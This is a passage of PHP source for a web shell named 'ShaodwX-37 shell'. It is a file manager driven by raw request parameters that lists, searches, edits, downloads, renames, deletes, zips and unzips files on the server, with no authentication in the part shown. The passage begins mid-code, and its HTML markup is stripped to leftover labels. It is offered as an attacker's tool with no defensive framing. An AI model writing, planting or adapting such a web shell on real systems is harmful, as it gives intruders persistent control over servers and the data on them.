open($zname,ZipArchive::CREATE)){ foreach($_POST['files'] ?? [] as $f){ $full=$path.'/'.$f; if(is_file($full)) $zip->addFile($full,$f); } $zip->close(); } } if(isset($_GET['unzip'])){ $z=realpath($_GET['unzip']); if($z){ $zip=new ZipArchive(); if($zip->open($z)){$zip->extractTo($path);$zip->close();} } } function perms($f){ return substr(sprintf('%o', fileperms($f)), -4); } /* ===== FILTERS ===== */ $q = trim($_GET['q'] ?? ''); $sort = $_GET['sort'] ?? 'name'; /* ===== LIST ===== */ $items = array_values(array_filter(scandir($path), fn($x)=>$x!=='.')); usort($items,function($a,$b)use($path,$sort){ $fa=$path.'/'.$a; $fb=$path.'/'.$b; if(is_dir($fa)!==is_dir($fb)) return is_dir($fa)?-1:1; if($sort==='size') return (filesize($fa)??0) <=> (filesize($fb)??0); return strcasecmp($a,$b); }); if($q) $items = array_values(array_filter($items, fn($f)=>stripos($f,$q)!==false)); ?>
ShaodwX-37 shell
GO
Back
ROOT/"; foreach(explode(DIRECTORY_SEPARATOR, trim(str_replace($root,'',$path),DIRECTORY_SEPARATOR)) as $p){ if(!$p) continue; $acc.=DIRECTORY_SEPARATOR.$p; echo "
$p
/"; } ?>
Upload
Create
Find
Sort: Name
Sort: Size
Apply
Name
Type
Size
Perm
Actions
$f"; else echo htmlspecialchars($f); ?>
=is_dir($full)?'DIR':strtoupper(pathinfo($f,PATHINFO_EXTENSION))?>
=is_file($full)?number_format(filesize($full)).' B':'-'?>
=perms($full)?>
Edit
|
Download
|
Rename
|
Delete
|
Unzip
ZIP selected
=htmlspecialchars(file_get_contents($file))?>
Save
Rename